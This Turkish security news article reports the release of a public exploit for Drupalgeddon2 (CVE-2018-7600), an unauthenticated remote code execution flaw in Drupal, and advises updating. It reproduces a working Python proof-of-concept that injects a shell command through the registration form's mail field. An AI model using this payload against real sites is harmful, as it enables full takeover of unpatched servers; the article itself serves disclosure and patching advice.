Drupal’da bulunan RCE için exploit yayınlandı

Drupal’da bulunan RCE için exploit yayınlandı
Nisan 19 12:56 2018 Yazıyı Yazdır

Hacker’ların Drupal üzerinden bulunan RCE (Remote Command Execution) güvenlik açığı için kullanılan exploit’i yayınlamasından bu yana Drupal sistemlerine yapılan saldırılara inanılmaz bir miktarda artış var.

İki hafta önce yaklaşık olarak, Drupal güvenlik ekibi saldırganların savunmasız web sitelerini tamamen ele geçirmelerine olanak sağlayan Durpalgeddon2 adı verilen son derece kritik bir RCE güvenlik açığı keşfedildi.

Şirket bu güvenlik açığını gidermek için, Drupal CMS’in güncel sürümünü yayınladı ve bir milyondan fazla Drupal kullanılan sitenin saldırıya maruz kalmasını engelledi. Şirket bu güncellemeyi yaparken sistem üzerinden bulunan güvenlik açığı hakkında herhangi bir teknik yazı yayınlamadı.

İki gün önce, Check Point ve Dofinity‘deki güvenlik araştırmacıları, bu güvenlik açığına (CVE-2018-7600) ilişkin teknik detayları yayınladılar. Bu teknik yazıda, bir Rus güvenlik araştırmacısı, GitHub’da Drupalgeddon2 için bir Proof of Concept (PoC) istismar kodu yayınladı.

https://www.exploit-db.com/exploits/44448/
https://www.exploit-db.com/exploits/44449/
https://www.exploit-db.com/exploits/44482/

#!/usr/bin/env
import sys
import requests

print (‘################################################################’)
print (‘# Proof-Of-Concept for CVE-2018-7600’)
print (‘# by Vitalii Rudnykh’)
print (‘# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders’)
print (‘# https://github.com/a2u/CVE-2018-7600’)
print (‘################################################################’)
print (‘Provided only for educational or information purposes\n’)

target = input(‘Enter target url (example: https://domain.ltd/): ‘)

# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
#
# example:
# proxies = {‘http’: ‘http://127.0.0.1:8080’, ‘https’: ‘http://127.0.0.1:8080’}
# verify = False
proxies = {}
verify = True

url = target + ‘user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax’
payload = {‘form_id’: ‘user_register_form’, ‘_drupal_ajax’: ‘1’, ‘mail[#post_render][]’: ‘exec’, ‘mail[#type]’: ‘markup’, ‘mail[#markup]’: ‘echo “;-)” | tee hello.txt’}

r = requests.post(url, proxies=proxies, data=payload, verify=verify)
if r.status_code != 200:
sys.exit(“Not exploitable”)
print (‘\nCheck: ‘+target+’hello.txt’)

Drupal’ın 6’dan 8’e kadar olan tüm sürümlerini etkileyen Drupalgeddon2 güvenlik açığı, saldırganların uzaktan kötü amaçlı kod çalıştırmalarına olanak sağlıyor.

Checkpoint’in açıklamasına göre, Form API (FAPI) AJAX istekleri yoluyla iletilen girdilerin yeterli önlem alınmamasıdan ötürü güvenlik açığı oluşuyor.

Check Point araştırmacıları, “Sonuç olarak, saldırganın iç form yapısına zararlı bir dosya veya kod parçası enjekte etmesini sağlıyor. Bu, Drupal üzerinde kimlik doğrulaması olmadan çalıştırılmasına olanak tanıyor.” dedi ve ekledi “Bu güvenlik açığından yararlanarak, bir saldırgan herhangi bir Drupal tabanlı bir siteyi tamamen ele geçirmesini sağlıyor.”.

Birçok kişi tarafından doğru ve ektili olarak çalıştığı söylenen PoC kodunun herkese açılmasından kısa bir süre sonra, Sucuri, Imperva ve SANS Internet Storm Center araştırmacıları Drupalgeddon2’yi kullanarak Drupal sitelere yönelik saldırıların başladığını gözlemlemeye başladılar ancak hiçbiri henüz saldırılara ilişkin bir rapor yayınlamadı.

Drupal’ın savunmasız sürümlerini kullanan site yöneticilerinin, CMS’yi Drupal 7.58‘e veya Drupal 8.5.1‘e en kısa sürede güncelleştirerek bu güvenlik açığını yamalamaları önerilir.

Güvenlik açığı, Şubat 2016’dan bu yana artık şirket tarafından desteklenmeyen Drupal 6’yı da etkiliyor, ancak bu sürüm için de bir yama oluşturuldu.

daha fazla yazı

Yazar Hakkında

Furkan Sayım
Furkan Sayım

Siber Güvenlik Araştırmacısı olmaya çalışan bir Developer

Daha Fazla Yazı
yorum yapın

Yorum Yok

Henüz yorum yapılmamış

İlk yorumu siz yapabilirsiniz.

Yorum ekleyin

Bilgileriniz güvende! E-posta adresiniz yayınlanmayacak. Diğer kişisel bilgileriniz üçüncü partilerle paylaşılmayacak.
* işaretli alanlar zorunludur.

Time limit is exhausted. Please reload CAPTCHA.